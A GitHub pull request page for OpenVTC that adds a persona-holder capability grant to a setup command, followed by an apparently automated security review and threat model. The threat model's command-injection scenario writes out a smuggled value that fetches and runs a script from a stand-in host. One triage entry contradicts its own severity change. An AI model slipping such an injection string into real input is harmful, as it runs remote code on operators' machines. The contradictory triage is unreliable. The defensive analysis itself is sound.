feat(setup): ask for the grant the identity pane needs - #279
Conversation
The pane shipped in #277 unable to do most of its job, and the reason was an ACL scope nobody had connected to it. Setup provisions a context-scoped admin — `pnm contexts create --admin-did` writes `allowed_contexts: ["openvtc"]` — while the attribute pool, the profiles over it and the disclosure history are gated on an *unscoped* holder credential, because they sit above every trust context. So on every install the Attributes, Profiles and Disclosures tabs were refused, correctly, by a gate this client could not satisfy without becoming an administrator of every context on the agent. The command the setup page shows now ends `--admin-holder`, which grants the `persona-holder` capability alongside the context-scoped entry (verifiable-trust-infrastructure#1286). The entry stays scoped to its one context and gains authority over the holder's own identity — which is what a client that *is* the holder should have and an integration should not. It is not a way around the boundary; it is the grant the boundary was waiting for. For installs that already exist, the pane's refusal now carries the command instead of only the agent's (accurate, abstract) explanation. Matched on the phrase both the current and pre-capability VTA use, so an operator pointing at either gets the hint; matched on that phrase rather than on "forbidden", because a false positive sends someone to fix something that is not their problem. The command is now tested. It is pasted character for character into another terminal, and a mangled string literal — a run of spaces where a line continuation collapsed — is invisible in review and survives all the way to the operator's shell. One had already got in. Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
The rebase onto #279 put the grant hint inside the pane the vocabulary work had just rewritten, and the widened guard immediately found three words on screen that the table keeps off it — "pool" and "profiles" in the hint's own prose, and "holder" in the agent's refusal, which the pane was echoing verbatim. The hint's prose is ours, so it now says facts and faces. The agent's sentence is not ours, and echoing it was the wrong call rather than a wording slip. It is accurate and abstract — "the holder's attribute pool, which sits above every trust context" — and it lands on someone who has just been refused, which is the worst moment to meet three unfamiliar nouns. This is the one failure the pane recognises exactly, so it now answers it in the agreed words and gives the command. Every other failure is still echoed verbatim: that text is *data*, naming a host or a contract mismatch, and translating what we do not recognise would be inventing a cause (R6.4). The guard grew the state that would have caught this: every tab now renders refused as well as empty and populated. The words written for a failure are the ones written under pressure, and nothing else on screen exercised them. `persona-holder` inside the command is exempted — a capability name an operator types verbatim, like a task URI. The exemption is the exact token, so a sentence cannot hide behind the hyphen. Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
* refactor(persona): say "persona", the word every other surface uses The identity pane called a persona DID a "face". Nothing else does: not the Trust Tasks spec, not the VTA, not the SDK, not `pnm persona binding set --persona-did`, not the console pane shipped this week, and not this repo's own `PersonaRecord` / `persona_ref` / `persona_did`. A holder moving between two of those surfaces had to translate, and translation is where a boundary gets misread. "Profile" was the other candidate and it is the one that would have hurt: it already names the thing a persona *presents*. Calling the DID a profile would have collided head-on with `persona/profile/*` — you bind a profile to a persona; the reverse is not a sentence. The word "persona" is genuinely overloaded — the task family spans the DID and everything above it — and "face" was an attempt to fix that by inventing a third noun. The overload is a prose problem with a prose fix: say "persona DID" where a sentence has to be unambiguous about which layer it means, exactly as `pnm`'s own help does. The pane's module header now states both words and the direction between them. `ContentPanelState::personas` becomes `identity`, so the list can take the name it should have had: `identity.personas` rather than `personas.personas`. That matches the menu entry, which has read "My Identity" since the pane landed — the pane is not only personas, and now the field says so. Signed-off-by: Glenn Gore <glenn.g@affinidi.com> * refactor(persona): speak the vocabulary a person reads `design-docs/persona-vocabulary.md` fixes one set of words across the console, `pnm`, the mobile agent and this TUI, so a person meets the same sentence wherever they meet the model. This brings the identity pane to it. The substitutions that matter: - an **attribute** is a **fact** — "a fact about you, held once"; - a **profile** is a **face** — "the set of facts you show together". Not "profile": that already means three things in this product and "my LinkedIn page" to everyone else; - a **binding** is **wearing** — a persona wears a face in a community. `Change face`, `Take it off`; - **disclosures** are **what has left, and to whom**; **correlation** is **linked**; provenance reads *you said so* / *credential* / *made per verifier*, and the credential row carries the half people miss — the same signature everywhere, so it links you. Tabs: Personas · Your facts · Faces · Communities · What has left. The spec's words are exact and stay in the types, on the wire and in the audit log. They are kept off the *screen*: `PersonaTab::Profiles` still addresses `persona/profile/*`; its label says Faces. That split is the whole design of the table, and it is why this is a display-layer change rather than a rename. `stale` now carries its reason (`stale · revoked`) — the table asks for it, and "stale" alone tells someone something is wrong without telling them what. The agent was already sending `staleReason`; nothing was reading it. ## The guard A test renders every tab — empty and populated — plus all three editors, and fails if any word from the table's avoid-list reaches the screen. Every one of them is a word this pane's own code and wire format use, so they are one careless `format!` away at all times, and the drift is invisible in review because each line looks correct to whoever wrote it. Verified by flipping a label back: the test fails, rather than passing vacuously. Signed-off-by: Glenn Gore <glenn.g@affinidi.com> * fix(persona): drop a duplicate import the vocabulary sweep left A scripted replacement matched the same `use` line in two tests and added the import to both. Clippy runs with `-D warnings` in CI, so an unused import there is a failed build. Ran `cargo clippy --workspace --all-targets -- -D warnings` this time rather than plain clippy — the plain form said nothing, which is how it reached CI. Signed-off-by: Glenn Gore <glenn.g@affinidi.com> * fix(persona): answer the refusal we recognise in our own words The rebase onto #279 put the grant hint inside the pane the vocabulary work had just rewritten, and the widened guard immediately found three words on screen that the table keeps off it — "pool" and "profiles" in the hint's own prose, and "holder" in the agent's refusal, which the pane was echoing verbatim. The hint's prose is ours, so it now says facts and faces. The agent's sentence is not ours, and echoing it was the wrong call rather than a wording slip. It is accurate and abstract — "the holder's attribute pool, which sits above every trust context" — and it lands on someone who has just been refused, which is the worst moment to meet three unfamiliar nouns. This is the one failure the pane recognises exactly, so it now answers it in the agreed words and gives the command. Every other failure is still echoed verbatim: that text is *data*, naming a host or a contract mismatch, and translating what we do not recognise would be inventing a cause (R6.4). The guard grew the state that would have caught this: every tab now renders refused as well as empty and populated. The words written for a failure are the ones written under pressure, and nothing else on screen exercised them. `persona-holder` inside the command is exempted — a capability name an operator types verbatim, like a task URI. The exemption is the exact token, so a sentence cannot hide behind the hyphen. Signed-off-by: Glenn Gore <glenn.g@affinidi.com> --------- Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
🛡️ AI Agentic Security Code Review1 AI-confirmed issue, 2 findings need a human to review/validate. Mandatory to check: 🔒 Security Code Review Report Details🛡️ Security Code Review Report — PR #279
🗺️ Scan CoverageModules scanned: 2 · with findings: 1 · files: 3 · findings: 5
Executive Summary
🔒 Security IssuesConfirmed Vulnerabilities (1)🟡 Elevation of Privilege via broad --admin-holder grant on setup command
🧠 AI Triage:
📝 Description: The setup flow now instructs operators to run a pnm command that grants the persona-holder capability (--admin-holder) in addition to context-scoped admin, expanding the authority granted to the OpenVTC install's DID beyond a single context. 🌱 Root Cause: The command-building code unconditionally appends --admin-holder to the generated command without any additional confirmation step or scoping check, relying entirely on the operator to understand and accept the broadened grant. 🔎 Evidence: 🎯 Attack Scenario: An operator copy-pastes the displayed command without fully reading the surrounding explanation, granting the persona-holder capability to a credential that may later be compromised or misused, resulting in broader access to the holder's attribute pool and profiles across all contexts than originally intended for a single-context admin credential.
|
| Field | Detail |
|---|---|
| Severity | MEDIUM |
| Location | openvtc/src/ui/pages/main/components/personas_panel.rs:652 |
| Finding ID | github_pr-69ce45bab984 |
| CWE | CWE-200 |
| OWASP | A01:2021 - Broken Access Control |
| Detection Source | threat_model |
🧠 AI Triage:
- Triaged severity: MEDIUM
- CWE-209/CWE-200-style sensitive information exposure through error messages. No CVSS, no confirmed exploit maturity, and reachability is unconfirmed (no-info, dependent on a compromised/malicious agent endpoint feeding error content). This does not meet high/critical criteria (no RCE, no confirmed public exploit, no confirmed reachability) but is a legitimate disclosure risk warranting medium severity, consistent with the scanner's original rating.
- Composite score: 4.9
- Environment: production
📝 Description:
The panel displays raw agent error strings (which may include internal details about credential/capability state) directly in the UI, along with a hint containing a placeholder for the install's DID.
🌱 Root Cause: The error string from the backend agent is passed through directly to the UI rendering without sanitization or filtering of potentially sensitive internal details, and needs_holder_grant performs simple substring matching on lowercased error text.
🔎 Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:652
lines.push(Line::from(""));
super::status::push_status(lines, error, " ");
lines.push(Line::from(""));
if needs_holder_grant(error) {
for line in HOLDER_GRANT_HINT {
lines.push(Line::from(*line).fg(COLOR_ORANGE));
}
🎯 Attack Scenario:
If an attacker can influence or observe the agent's error responses (e.g., via a compromised or malicious agent endpoint), they could inject content into load_error that gets rendered verbatim in the operator's terminal, potentially disclosing internal system details or misleading the operator into running unintended commands.
🔍 Validation Log
- Verdict:
⚠️ Must-Review-By-Human- Confidence: 40%
- AI Validation Evidence: EVIDENCE FOUND: personas_panel.rs was not included in source_files (only vta_acl_instructions.rs, setup_wizard.rs, did.rs, state.rs, context_path.rs are provided), so the actual push_status/push_agent_state implementation, HOLDER_GRANT_HINT constant, and the surrounding error-handling logic referenced in evidence (lines 652, 700) could not be directly inspected in this validation pass. The evidence snippet shows 'super::status::push_status(lines, error, " ")' and a conditional needs_holder_grant(error) check, implying raw error strings from the backend agent are rendered to the TUI, but the actual definition/sanitization of push_status is not visible. EVIDENCE NOT FOUND: No sanitization, redaction, or truncation logic for the 'error' string was found because personas_panel.rs's full content (including push_status and PersonasState.load_error origin) is not present in the provided source_files. CHANGED VS PRE-EXISTING: Likely CHANGED — personas_panel.rs is referenced in the threat model as COMP-001 with new needs_holder_grant/HOLDER_GRANT_HINT logic tied to this MR's feature (persona-holder-grant), but since the file's full content isn't in source_files, the pre-existing vs new nature of push_status/error rendering itself cannot be confirmed. VERDICT JUSTIFICATION: Cannot confirm whether the 'error' string actually contains sensitive credential/authorization details (vs. a generic user-facing message) without seeing where 'error' originates and what backend produces it; insufficient evidence to validate or dismiss — human review of personas_panel.rs and the agent's error-construction code is needed.
- Validation Effort: This finding was validated up to a point, but the available evidence was insufficient for a conclusive automated verdict. A human (developer / security team) must manually review the code and decide. Not dismissed — treat as an open item pending human review.
🟡 Naive substring matching on untrusted agent error text drives security-relevant UI hint
| Field | Detail |
|---|---|
| Severity | MEDIUM |
| Location | openvtc/src/ui/pages/main/components/personas_panel.rs:700 |
| Finding ID | github_pr-0c824c162388 |
| CWE | CWE-697, CWE-451 |
| OWASP | A04:2021 - Insecure Design |
| MITRE ATT&CK | T1036 - Masquerading |
| CAPEC | CAPEC-148 |
| DREAD | 3.6 |
| Reachability | 🔴 Reachable |
| Exploit Maturity | theoretical |
| Detection Source | skill_scan |
🧠 AI Triage:
- Severity reassessed: LOW → MEDIUM — CWE-697 incorrect comparison logic causing UI misrepresentation, but requires compromise of or MITM on the internal agent connection (basic auth barrier) — a precondition well beyond typical user input manipulation. No public exploit, theoretical exploit maturity only, and scanner explicitly rates business impact as low (misleading guidance, not data breach or system compromise). This does not meet medium/high criteria for CVSS-equivalent impact or exploit evidence; low severity is accurate.
- Composite score: 5
- Environment: production
📝 Description:
A malicious or compromised VTA agent (or a MITM attacker without transport integrity) can manipulate whether operators are told to escalate their own credential's privileges, either causing unnecessary escalation or hiding guidance for a genuine authorization failure.
🧪 Proof of Concept:
The hint-triggering logic treats agent-supplied free text as trusted signal for a security-relevant recommendation without any structural validation, authentication, or integrity guarantee on that text's origin.
if needs_holder_grant(error) {
for line in HOLDER_GRANT_HINT {
lines.push(Line::from(*line).fg(COLOR_ORANGE));
}
lines.push(Line::from(""));
}
...
fn needs_holder_grant(error: &str) -> bool {
let e = error.to_ascii_lowercase();
e.contains("holder credential") || e.contains("persona-holder")
}
Vulnerable lines: 652, 709
🔎 Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:700
fn needs_holder_grant(error: &str) -> bool {
let e = error.to_ascii_lowercase();
e.contains("holder credential") || e.contains("persona-holder")
}
💥 Impact:
A compromised or misbehaving agent (or MITM without transport integrity) can steer operator behavior by crafting error text, either causing needless privilege grants or masking a real authorization problem by avoiding the trigger phrases.
Confidentiality: None directly. · Integrity: Low — could induce an unnecessary privilege-escalation action by the operator. · Availability: None directly.
🧭 Reachability:
- Network exposure: internal
- Auth barrier: basic
- Attack path: VTA agent (or MITM on agent connection) → error string returned to load_error field → push_agent_state() → needs_holder_grant(error) at line 707 → HOLDER_GRANT_HINT rendered to operator
⚖️ Triage Factors:
| Factor | Value |
|---|---|
| Fixable | ✅ Yes |
| Exploitability | low |
| Business impact | low |
| Public exploit | None known |
| Environment | unknown |
Attack scenario: A compromised or MITM'd VTA agent connection can spoof or suppress a security-relevant UI hint by crafting error text matched via naive substring search.
🔧 Remediation:
⚠️ AI-generated fix. Review, test in staging, and validate against your architecture before applying.
Replace free-text substring matching with a structured, typed error code supplied by the agent API (and authenticate/integrity-protect the agent connection, e.g., via TLS + agent identity verification) so the hint-triggering decision cannot be spoofed by crafting incidental text.
Vulnerable code:
fn needs_holder_grant(error: &str) -> bool {
let e = error.to_ascii_lowercase();
e.contains("holder credential") || e.contains("persona-holder")
}
Secure code:
// Prefer a structured/typed error from the agent API instead of string matching.
fn needs_holder_grant(error: &AgentError) -> bool {
matches!(error.code, AgentErrorCode::MissingCapability(Capability::PersonaHolder))
}
Additional recommendations:
- Ensure the VTA agent connection uses transport-level integrity (TLS) to prevent MITM error-message tampering.
- Log the raw error alongside the hint decision for later audit/repudiation resolution.
🔍 Validation Log
- Verdict:
⚠️ Must-Review-By-Human- Confidence: 90%
- AI Validation Evidence: EVIDENCE FOUND: The finding's evidence snippet shows 'fn needs_holder_grant(error: &str) -> bool { let e = error.to_ascii_lowercase(); e.contains("holder credential") || e.contains("persona-holder") }' — a naive substring match on an error string. This matches the described pattern exactly. EVIDENCE NOT FOUND: personas_panel.rs is not included in source_files, so I cannot verify where 'error' originates (i.e., whether it is authenticated/integrity-protected agent output, or attacker-influenceable), nor can I see any surrounding validation/authentication layer for agent responses. CHANGED VS PRE-EXISTING: Likely CHANGED given this function directly supports the persona-holder-grant feature this MR/branch is named after, but without the full file I cannot rule out this being pre-existing error-matching logic reused from elsewhere. VERDICT JUSTIFICATION: The code pattern is confirmed by the snippet but the broader context (agent transport security, whether 'error' is genuinely attacker-reachable) cannot be verified from provided files — insufficient evidence to validate exploitability or dismiss it as non-issue; requires human review of the VTA agent's transport/authentication guarantees.
- Validation Effort: This finding was validated up to a point, but the available evidence was insufficient for a conclusive automated verdict. A human (developer / security team) must manually review the code and decide. Not dismissed — treat as an open item pending human review.
Generated by Agentic Sec — AI Security Validation Agent
This report includes full scan data + AI validation evidence. Feed to engineering copilots for automated fix deployment.
Details
🛡️ Threat Model & Affect Analysis — PR #279
| Field | Value |
|---|---|
| Repository | OpenVTC/openvtc |
| Branch | feat/persona-holder-grant → main |
| Generated | 2026-09-07 |
ℹ️ This report contains theoretical threats and impact analysis for the MR.
Unlike the Security Code Review Report (which contains confirmed, materialised issues),
these are potential risks that may or may not be exploitable. Use this for defence-in-depth planning.
📋 Affect Analysis
Change Summary
This PR makes OpenVTC's setup wizard request the 'persona-holder' ACL capability (via a new --admin-holder flag on the generated pnm contexts create command) alongside the existing context-scoped admin grant, so the identity pane's Attributes/Profiles/Disclosures tabs work without requiring cross-context admin. It also adds a UI hint in the personas panel that surfaces the exact remediation command when an existing install's agent refuses a request for lack of that capability.
Diff: +172 / -3 lines
Types: feature, security, docs
⚠️ Security Implications
🟠 Unconditional default widening of setup-time authorization scope via --admin-holder
Unconditional default widening of setup-time authorization scope via --admin-holder
Action: Make --admin-holder an explicit, confirmed opt-in tied to whether the operator actually intends to use the identity pane, with a clear scope explanation before the command is displayed.
🟡 No sanitization of operator-typed context ID before interpolation into copy-paste command
No sanitization of operator-typed context ID before interpolation into copy-paste command
Action: Validate typed_ctx against an allow-list charset (alphanumeric, hyphen, underscore) and/or wrap the --id value in shell-safe quoting before rendering.
🟡 Substring heuristic gating a privilege-escalation hint is spoofable and brittle
Substring heuristic gating a privilege-escalation hint is spoofable and brittle
Action: Adopt structured/typed error codes from the VTA agent API instead of free-text matching, and ensure agent response integrity (e.g., authenticated transport) to prevent spoofing.
🟡 Setup DID display now associated with a higher-value cross-context credential
Setup DID display now associated with a higher-value cross-context credential
Action: Warn operators that the displayed command now confers cross-context authority and should be handled with commensurate care; consider truncated on-screen DID display with reveal-on-demand.
🟡 No expiry bound on the persona-holder capability grant
No expiry bound on the persona-holder capability grant
Action: Extend expiry semantics (or equivalent guidance) to also bound the persona-holder capability lifetime, and add rotation/revocation reminders.
🧩 Affected Components
| Component | Impact | Change | What Changed |
|---|---|---|---|
| Setup Flow Command Generator (build_pnm_command) | high | modified | The generated 'pnm contexts create' command now includes '--admin-holder' unconditionally, widening the default capability grant requested d |
| Personas Panel Error Remediation Hint | medium | new | Added a heuristic (needs_holder_grant) and a hardcoded hint block (HOLDER_GRANT_HINT) that detects holder-authority-related agent errors and |
| External pnm / VTA Agent ACL Enforcement (out of repo scope) | critical | modified | Not modified in this PR, but this is the actual policy decision point that must correctly scope the persona-holder capability to the holder' |
📁 File Classifications
openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs
- Type: security
openvtc/src/ui/pages/main/components/personas_panel.rs
- Type: security
CHANGELOG.md
- Type: docs
🛡️ STRIDE Threat Model
Identified Threats (10)
🟠 STRIDE-1: Unconditional Scope Widening in Generated pnm contexts create Command
| Field | Detail |
|---|---|
| Category | Tampering, Elevation of Privilege |
| Severity | High |
| Likelihood | Likely |
| CVSS | 7.1 CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Medium |
| CWE | CWE-269,CWE-732 |
| CAPEC | CAPEC-122,CAPEC-233 |
| OWASP | A01:2021 - Broken Access Control |
Description: vta_acl_instructions::build_pnm_command in COMP-002/COMP-003 allows unconditional privilege-scope widening due to unconditionally appending --admin-holder to every generated setup command regardless of whether the operator actually needs holder-level authority, resulting in installs being granted persona-holder capability (authority over the holder's identity, attribute pool, and profiles across all contexts) by default.
Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:246-261
format!("pnm contexts create --id {display_ctx} --name \"OpenVTC\" \\\n --admin-did {setup_did} --admin-expires 1h --admin-holder")
Attack Scenario:
- An operator (or an attacker who has compromised the OpenVTC setup flow UI, or convinced an operator to run the tool as part of a supply-chain / social-engineering attack) launches the OpenVTC setup wizard.
- The setup_flow page calls build_pnm_command(state, typed_ctx) in openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs, which unconditionally appends ' --admin-holder' to the format! string regardless of whether this install actually requires holder-scoped authority.
- The operator copies the displayed command verbatim (per the design intent noted in test the_pnm_command_is_clean_and_carries_the_holder_grant) and pastes it into a privileged pnm CLI session.
- pnm executes 'pnm contexts create --id --name "OpenVTC" --admin-did <setup_did> --admin-expires 1h --admin-holder', granting the setup_did both context-scoped admin AND the persona-holder capability that sits above every trust context.
- If the setup_did or its private key material is later exposed (e.g., logged, phished, or the install is compromised), the attacker inherits authority over the holder's entire attribute pool and profiles, not just the single intended context — a blast-radius expansion introduced by this PR's unconditional flag.
🔎 Threat Clue: Derived from COMP-002, COMP-003 via EP-002, EP-003
- Data Flows: Setup UI -> generated pnm CLI command -> pnm agent
Preconditions: Operator runs the generated pnm command without independently verifying necessity of --admin-holder, pnm agent honors the --admin-holder flag as documented, No secondary confirmation step exists before granting the elevated capability
Existing Controls: Code comments explain the rationale for the grant • Unit tests validate command construction correctness (not authorization necessity) • --admin-expires 1h limits the context-scoped admin entry lifetime (though persona-holder grant duration is unclear)
Recommended Mitigations: Make --admin-holder conditional/opt-in with an explicit operator confirmation prompt explaining the scope being granted • Display a clear warning distinguishing context-scoped admin from cross-context persona-holder authority before the command is shown • Apply least-privilege by defaulting to context-scoped admin only, requiring a separate explicit action to add --admin-holder • Add expiry/revocation guidance specifically for the persona-holder capability grant
🟡 STRIDE-2: Command Injection via Unsanitized display_ctx/typed_ctx in Generated pnm Command String
| Field | Detail |
|---|---|
| Category | Tampering, Elevation of Privilege |
| Severity | Medium |
| Likelihood | Possible |
| CVSS | 5.3 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-78,CWE-88 |
| CAPEC | CAPEC-88 |
| OWASP | A03:2021 - Injection |
Description: build_pnm_command in COMP-002 allows shell metacharacter injection via typed_ctx due to lack of input sanitization/escaping before string interpolation into a copy-paste shell command, resulting in arbitrary command execution if the operator blindly pastes the generated string into a shell.
Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:240-261
let display_ctx = if trimmed.is_empty() { "openvtc" } else { trimmed }; format!("pnm contexts create --id {display_ctx} ...")
Attack Scenario:
- An attacker with access to the setup UI's context-id input field (e.g., a malicious insider, or a shared/multi-tenant terminal session) types a context id containing shell metacharacters, e.g. 'my-ctx; curl evil.sh | sh #'.
- build_pnm_command in vta_acl_instructions.rs trims and interpolates this value directly into the format! string as {display_ctx} without escaping.
- The resulting string is rendered in the TUI (render_input) and displayed to the legitimate operator as text to copy and paste into their pnm shell.
- The operator, trusting the tool's own generated output (as tests like the_pnm_command_is_clean_and_carries_the_holder_grant imply), pastes the full line into a privileged shell without inspecting it character-by-character.
- The shell executes the injected command with the operator's privileges, e.g. exfiltrating data or installing malware, alongside (or instead of) the intended pnm contexts create call.
🔎 Threat Clue: Derived from COMP-002 via EP-002
- Data Flows: Operator input -> build_pnm_command -> TUI display -> operator shell
Preconditions: Attacker or malicious actor can influence the typed_ctx input field, Victim/operator copies and pastes the full generated line into a shell without review, No length or charset validation exists on typed_ctx
Existing Controls: Unit test the_typed_context_id_reaches_the_command validates trimming behavior but not sanitization • Tests check for double-space collapse artifacts but not shell metacharacters
Recommended Mitigations: Validate typed_ctx against an allow-list charset (alphanumeric, hyphen, underscore) before use • Reject or escape shell metacharacters in context IDs at input time • Consider generating a shell-safe quoted form (e.g., single-quoting the --id value) rather than relying on operator vigilance
🔵 STRIDE-3: Substring-Based Error Matching Spoofable in needs_holder_grant
| Field | Detail |
|---|---|
| Category | Spoofing, Tampering |
| Severity | Low |
| Likelihood | Possible |
| CVSS | 3.1 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-697,CWE-451 |
| CAPEC | CAPEC-148 |
| OWASP | A04:2021 - Insecure Design |
Description: needs_holder_grant in personas_panel.rs (COMP-001) allows misleading hint injection due to naive case-insensitive substring matching on untrusted agent error text, resulting in a malicious or compromised VTA agent being able to trigger or suppress the operator-facing privilege-escalation hint arbitrarily.
Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:700-709
fn needs_holder_grant(error: &str) -> bool {
let e = error.to_ascii_lowercase();
e.contains("holder credential") || e.contains("persona-holder")
}
Attack Scenario:
- An attacker who controls or has compromised the VTA agent backend (or performs a MITM on the agent connection) crafts an arbitrary error string returned to the OpenVTC client.
- The attacker includes the substring 'holder credential' or 'persona-holder' anywhere in an unrelated error message (e.g. 'internal debug: holder credential subsystem log rotated'), even though the real failure has nothing to do with authorization.
- needs_holder_grant(error) in personas_panel.rs performs e.contains("holder credential") || e.contains("persona-holder") on the lowercased string with no structural/typed error validation.
- push_agent_state renders the HOLDER_GRANT_HINT block, instructing the operator to run 'pnm acl update --did --capabilities persona-holder' even though the actual problem is unrelated (e.g., a network glitch or a different authorization gap).
- The operator, trusting the UI's guidance, escalates their own credential's capability unnecessarily, expanding attack surface, or conversely wastes time chasing the wrong fix, delaying detection of the real issue (e.g., an active compromise causing agent errors).
🔎 Threat Clue: Derived from COMP-001 via EP-001
- Data Flows: VTA agent error response -> personas_panel::push_agent_state -> TUI hint rendering
Preconditions: Attacker can influence or spoof error strings returned by the agent (e.g., compromised agent, MITM without transport integrity, or a bug elsewhere echoing attacker-controlled text into an error), No structured/typed error codes are used to distinguish authorization failures from other failures
Existing Controls: Comment documents the deliberate narrow-phrase-matching design tradeoff • Unit tests validate matching and non-matching cases for known phrases • Match is narrower than the generic term 'forbidden', reducing false positives
Recommended Mitigations: Replace string-matching heuristics with structured/typed error codes from the agent API • Cryptographically authenticate/integrity-protect agent responses to prevent error-message spoofing • Log the raw error and the hint-trigger decision for audit/repudiation purposes
🟡 STRIDE-4: No Audit Trail for Operator-Executed Privilege-Elevation Command
| Field | Detail |
|---|---|
| Category | Repudiation |
| Severity | Medium |
| Likelihood | Likely |
| CVSS | 4.8 CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| Residual Severity | Low |
| CWE | CWE-778 |
| CAPEC | CAPEC-268 |
| OWASP | A09:2021 - Security Logging and Monitoring Failures |
Description: The generated pnm contexts create --admin-holder command in COMP-002/COMP-003 allows unattributable privilege grants due to the OpenVTC application never logging or recording that it displayed/recommended the elevated command, resulting in an inability to later prove whether the operator was guided by the tool or acted independently when disputing an over-broad grant.
Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:246-261
format!("pnm contexts create --id {display_ctx} --name \"OpenVTC\" \\\n --admin-did {setup_did} --admin-expires 1h --admin-holder")
Attack Scenario:
- The setup flow renders the --admin-holder command via build_pnm_command with no local logging of when/why the hint or command was displayed.
- An operator runs the copy-pasted command out-of-band in a separate pnm CLI session that is also not correlated back to OpenVTC's session.
- Weeks later, an incident review finds the setup_did was granted persona-holder capability and needs to determine whether this was operator error, a deliberate malicious act, or a tool-driven default.
- Because OpenVTC keeps no record (log entry, telemetry event, or persisted state) of displaying the HOLDER_GRANT_HINT or the --admin-holder command, investigators cannot attribute the decision, and the operator can plausibly deny intentionally requesting broad authority.
- This ambiguity delays incident response and complicates any compliance audit trail requiring proof of least-privilege justification for the grant.
🔎 Threat Clue: Derived from COMP-002, COMP-003 via EP-002, EP-003
- Data Flows: Setup UI -> generated command display -> operator action (unlogged)
Preconditions: No local audit logging exists in the TUI application for displayed commands/hints, Incident investigators rely solely on pnm agent-side ACL logs, which do not capture OpenVTC's role in prompting the action
Existing Controls: pnm agent presumably logs the ACL grant itself (external, out of scope) • None within this codebase
Recommended Mitigations: Add local structured logging when the --admin-holder command or HOLDER_GRANT_HINT is displayed to an operator • Include a session/request correlation ID in log entries to link UI guidance to subsequent agent-side ACL changes • Persist a local audit record of setup actions taken through the wizard
🟡 STRIDE-5: Setup DID and Ephemeral Key Disclosure via Terminal/Clipboard Exposure of Displayed pnm Command
| Field | Detail |
|---|---|
| Category | Information Disclosure |
| Severity | Medium |
| Likelihood | Possible |
| CVSS | 5.9 CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-200,CWE-311 |
| CAPEC | CAPEC-651,CAPEC-37 |
| OWASP | A02:2021 - Cryptographic Failures |
Description: The setup flow's rendering of build_pnm_command output in COMP-003 allows sensitive DID disclosure due to the setup_did being embedded in plaintext within a command displayed on-screen and intended for copy-paste, resulting in shoulder-surfing, terminal-scrollback, screen-recording, or clipboard-manager exposure of a credential identifier that now carries expanded (persona-holder) authority.
Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:247-261
"--admin-did {setup_did} --admin-expires 1h --admin-holder"
Attack Scenario:
- The setup wizard renders the full pnm command including --admin-did {setup_did} and the newly added --admin-holder flag directly onto the TUI screen via render_input/build_pnm_command.
- An attacker with physical or remote visual access to the operator's screen (shoulder-surfing, screen-share, malicious screen-recording software, or terminal multiplexer scrollback shared to another user) captures the setup_did value.
- Because this PR adds --admin-holder to the same command, the exposed DID is now associated with a materially higher-value target than before the change (cross-context persona-holder authority rather than single-context admin).
- The attacker uses the captured DID in combination with any separately-leaked private key material or a social-engineering pretext ('I need to help you finish setup') to attempt to impersonate or manipulate ACL state for that DID.
- Because the capability is now broader, successful compromise of this identifier yields disproportionately higher impact than under the pre-PR behavior.
🔎 Threat Clue: Derived from COMP-003 via EP-003
- Data Flows: setup_key.did -> build_pnm_command -> TUI screen render
Preconditions: Attacker has visual/log access to the terminal displaying the setup command, setup_did and/or its key material can be leveraged for further action
Existing Controls: --admin-expires 1h limits context-scoped admin entry lifetime (unclear if this also bounds persona-holder duration) • EphemeralSetupKey naming suggests short-lived key design
Recommended Mitigations: Avoid displaying full DID in plaintext where avoidable; consider truncation with full value available on demand • Warn operators that this command now confers cross-context authority and should be handled with the same care as a credential • Ensure clipboard buffers are cleared after use and recommend against screen-sharing during setup
🔵 STRIDE-6: Operator Social Engineering via HOLDER_GRANT_HINT Trust Assumption
| Field | Detail |
|---|---|
| Category | Spoofing, Elevation of Privilege |
| Severity | Low |
| Likelihood | Possible |
| CVSS | 3.5 CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-494,CWE-829 |
| CAPEC | CAPEC-98,CAPEC-438 |
| OWASP | A08:2021 - Software and Data Integrity Failures |
Description: The HOLDER_GRANT_HINT constant displayed by push_agent_state in COMP-001 allows a trust-transference attack due to the UI presenting a hardcoded remediation command as authoritative without independent verification of the actual authorization context, resulting in operators executing a broad-capability grant based solely on client-side heuristic guidance rather than a server-verified need.
Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:684-692
const HOLDER_GRANT_HINT: &[&str] = &[ ... " pnm acl update --did <this install's DID> --capabilities persona-holder", ... ];
Attack Scenario:
- An attacker compromises or replaces the OpenVTC binary/build artifact (supply-chain attack) with a version where HOLDER_GRANT_HINT or needs_holder_grant is modified to trigger more often or point to a different --did value.
- A legitimate operator, encountering any load_error on the Attributes/Profiles/Disclosures tab, sees the (tampered) hint and, trusting the tool's authority on the matter, runs the suggested 'pnm acl update' command.
- Because the operator has been conditioned (by this PR's own design intent, per code comments 'the operator needs the command') to trust and directly execute UI-suggested commands without independent verification, a maliciously modified hint could redirect the --did value or add extra capabilities without the operator noticing subtle changes.
- The operator grants persona-holder (or broader) capability to an attacker-controlled DID, believing they are remediating their own install.
- The attacker now holds cross-context authority over the holder's identity data.
🔎 Threat Clue: Derived from COMP-001, COMP-003 via EP-001, EP-004
